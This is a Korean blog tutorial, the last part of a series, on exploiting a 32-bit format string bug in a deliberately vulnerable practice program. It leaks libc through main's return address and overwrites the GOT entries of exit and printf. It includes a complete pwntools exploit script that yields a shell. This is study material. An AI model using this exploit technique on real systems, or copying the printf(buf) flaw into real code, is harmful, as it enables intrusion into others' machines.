System Hacking/FSB(Format String Bug)

32bit에서 FSB (Format String Bug) 이해하기 -(3) (완)

jir4vvit 2020. 10. 10. 18:22

업데이트 : 2020.10.11 - 3번과정 계산법 추가

참고자료 : JSec님 블로그(blog.naver.com/yjw_sz/221889244689)

 

 

저번 (2)편에 이어서 32bit에서 FSB(Format String Bug)를 이해해보자. 


이제 shell 함수 없이 쉘을 따보자.

쉘을 따려면 system("/bin/sh")를 실행시키면 된다.

이때 알아야 할 것은 system 함수의 주소이다. 

ASLR이 걸려있으면 system 함수의 주소는 실행할 때 마다 변하게 된다. 

(ASLR은 base 주소를 변경시키기 때문, 예시는 아래에 있음)

 

그래도 프로그램을 실행하는 동안에는 한 주소로 고정이 된다.

 

모든 라이브러리 함수는 고정된 offset 값을 가진다. offset값은.. 상대적 거리라고 생각하면 된다. 

예를들어 system 함수의 offset이 0x123이라고 가정해보자.

 

libc base가 0x1000라면?  system 함수의 주소 : 0x1123

libc base가 0x2000라면?  system 함수의 주소 : 0x2123

libc base가 0x3000라면?  system 함수의 주소 : 0x3123

libc base가 0x4000라면?  system 함수의 주소 : 0x4123

 

system 함수의 offset은 항상 고정이기에 libc_base만 구하면 실제 주소를 구할 수 있다. 

 

 

여기서 또 알아야 할 것.

 

대부분의 프로그램엔 __libc_start_main 함수가 존재한다.

이 함수에서 main을 호출하고 main이 종료하면 다시 위의 함수로 돌아간다.

 

그래서 main 함수의 ret 주소는 libc 영역의 주소임을 알 수 있다.

-> main 함수의 ret 주소를 통해 libc_base를 알 수 있지 않을까?

 


실습을 통하여 shell 함수 없이 쉘을 따보자.

// fsb_got2.c
// gcc -o fsb_got32_2 fsb_got2.c -m32
#include <stdio.h>

/*
void shell(void) {
system("/bin/sh");
}
*/

int main(void) {
	char buf[0x100];
	read(0, buf, 0x100);
	printf(buf);
	exit(0);
}

마찬가지로 printf(buf);에서 포맷스트링버그가 발생하고 있다.

 

 

문제 풀이 단계는 크게 아래와 같다.

1. AAAA 문자열이 몇번째 발생하는가? -> main 스택 안에 몇번쨰 있는지 확인해보기

2. exit 함수의 GOT를 main 함수 주소로 바꿔주기 -> exit 함수가 실행되면 main이 다시 실행됨

3. %p가 몇개 있을 때 main의 ret가 출력되는지 알아내기

4. 첫번째 페이로드 전송

5. libc_base 구하기 -> leak된 값에서 offset을 빼면 됨

6. ㄹㅇ system 함수 주소 구하기 -> libc_base에 system_offset 더하면 됨

7. 지금 현재 main문 두번째 도는 중임. printf의 got를 system함수 주소로 바꿔주자

8. 두번째 페이로드 전송 후, /bin/sh 도 send해주기

 

 

 

1.

AAAA는 7번째에 발생하고 있다.

 

 

2.

main이 다시 실행되도록 exit 함수의 GOT를 main 함수 주소로 바꿔줘야한다.

간단하게 fmtstr_payload 함수를 사용해줄 것이다.

인풋은 7칸 떨어져있기 때문에 fmtstr_payload(7, {exit_got:main})

 

페이로드를 총 두번 작성해서 보낼 예정인데, 첫번째 페이로드는 main의 ret를 얻는 것이 목표이다.

여기서 바로 main의 ret을 구하고 싶지만, 주소값을 바로 가져온다면 그 주소는 main의 시작주소일 것이기 때문에 main의 시작으로부터 main의 ret가 얼마나 떨어져있는지 구해서 %p값을 구해야 한다. 

 

 

3.

여기서 바로 주소값을 받아온다면 main의 시작일 것이다.

그 주소로부터 main의 ret의 주소가 얼마나 떨어져있는지 구해야한다.

main을 실행시키고 BACKTRACE에서 main의 ret 주소값을 구할 수 있다.

main의 ret은 0xf7e1b647 이다.

 

main의 시작으로부터 main의 ret은 얼마나 떨어져있을까?

문자열 AAAA를 인풋값으로 주고 printf 함수가 실행될 때 esp 레지스터를 살펴보았다.

우리가 입력한 0x41414141은 7번째 칸에 있었고, main의 ret는 75번째 칸에 있었다. -> %75$p

 

사실 난 저거 손으로 일일히 셋는데 

((0xffffd05c - 0xffffcf4c) / 4) + 7

이렇게 해주면 된다.

 

((main_ret의 스택 주소 - AAAA의 스택주소) / 4) + 7

4로 나눠준 이유는 32bit에서는 한 칸이 4바이트이기 때문이다.

아무튼 4로 나누면 offset이 나오는데 이 offset은 AAAA와 main 함수의 ret와의 거리이다.

1번에서 AAAA가 7번째칸에 있는 것을 확인했으니까 마지막에 7을 더해준다.

 

 

4. 

이렇게 작성한 첫번째 페이로드를 전송한다.

p.sendline(payload)

 

 

5. 

이제 본격적으로 두번째 페이로드를 전송할 것이다.

이때는 이제 main이 한번 돌고 2번과정 덕분에 두번째 main이 실행될 것이다.

두번째 페이로드를 작성할 때의 목표는, system 함수의 리얼 주소를 구하고, printf 함수가 실행될 때 system 함수가 실행되도록 해야한다.

 

일단 int(p.recv(10), 16)을 이용하여 leak 된 값, 즉 main 함수의 ret 주소를 받아오자.

이를 이용하여 libc_base 주소를 구할 것이다.

 

base 주소는 보통, leak된 값에서 offset 주소를 빼서 구한다.

 

하지만 이 경우에선 leak된 값은 main함수의 ret, 다시말해 __libc_start_main의 시작에서 어느정도 떨어져 있고,

우리가 준비한 offset은 __libc_start_main의 시작 offset이다.

 

'어느정도 떨어진지'를 빼야지 정확한 base 주소를 구할 수 있을 것이다.

'어느정도 떨어진지'는 스택의 BACKTRACE를 이용하여 구한다.

위에서 사용한 사진과 동일한 사진이다. 저 부분은 main 함수의 ret라고 했다.

__libc_start_main에서 247 떨어져 있다고 친절하게 알려주고 있다..

 

근데 왜 더하는게 아니라 빼는 건지 헷갈릴 수도 있다.

이런 느낌인데... 우리는 __libc_start_main의 offset과 비교해야한다.

__libc_start_main의 리얼 주소는 우리가 leak한 값에서 247을 빼야야지 같아진다.

libc_base = leak - __libc_start_main_offset - 247

 

 

6, 

두근두근 이제 리얼 system 함수의 주소를 구할 것이다.

 

리얼 주소는 base 주소에 offset 주소를 더해서 구한다.

system = libc_base + system_offset

 

 

7.

지금 현재 main문이 두번째 돌고 있다는 것을 잊으면 안된다.

system 주소까지 구했으니.. printf의 got를 system 함수의 주소로 바꿔주자.

payload = fmtstr_payload(7, {printf_got:system})

 

마침 read함수도 있겠다, 페이로드 전송후 read 함수에서 "/bin/sh"를 입력하면 될 듯 하다.

 

8.

페이로드 전송 후, 인풋 값을 "/bin/sh"로 주었다.

p.send(payload)
p.send("/bin/sh")

 

 

 

아래는 익스플로잇 코드이다.

from pwn import *

p = process('./fsb_got32')
e = ELF('./fsb_got32')
libc = e.libc

exit_got = e.got['exit']
main = e.symbols['main']
printf_got = e.got['printf']

__libc_start_main_offset = libc.symbols['__libc_start_main']
system_offset = libc.symbols['system']

# leak + exit_got -> main
# 종료할려다가 main으로 다시 실행 
payload = fmtstr_payload(7, {exit_got:main})
payload += 'leak:%75$p'
p.sendline(payload)

#system 함수 주소 구하기
# get system_addr

# leak된 값 : main함수의 ret -> __libc_start_main에서 일정부분 떨어진 주소
p.recvuntil("leak:")
leak = int(p.recv(10), 16)

# base = leak된 값 - offset 주소
libc_base = leak - __libc_start_main_offset - 247

# ㄹㅇsystem 함수 주소 = base + offset
system = libc_base + system_offset

# printf 함수를 실행하면 got가 변조되었기 때문에 system이 실행
# printf 함수의 매개변수로 /bin/sh로 준다.
# printf_got -> system and get shell
payload = fmtstr_payload(7, {printf_got:system})

p.send(payload)
p.send("/bin/sh")

p.interactive()

 

 

 

 

 


이렇게 32bit 체제에서 FSB를 이해해보았다.

스택의 구조를 보다 더 알게 되었고..

32bit 체제에서는 주소값이 4바이트라는 것

PLT와 GOT에 대한 보다 정확한 이해

offset에 대한 이해와 더불어 base 주소의 뜻...

등등을 알게 되었다.

 

64bit는 32bit와 또 다른데.. 공부를 해봐야겠다.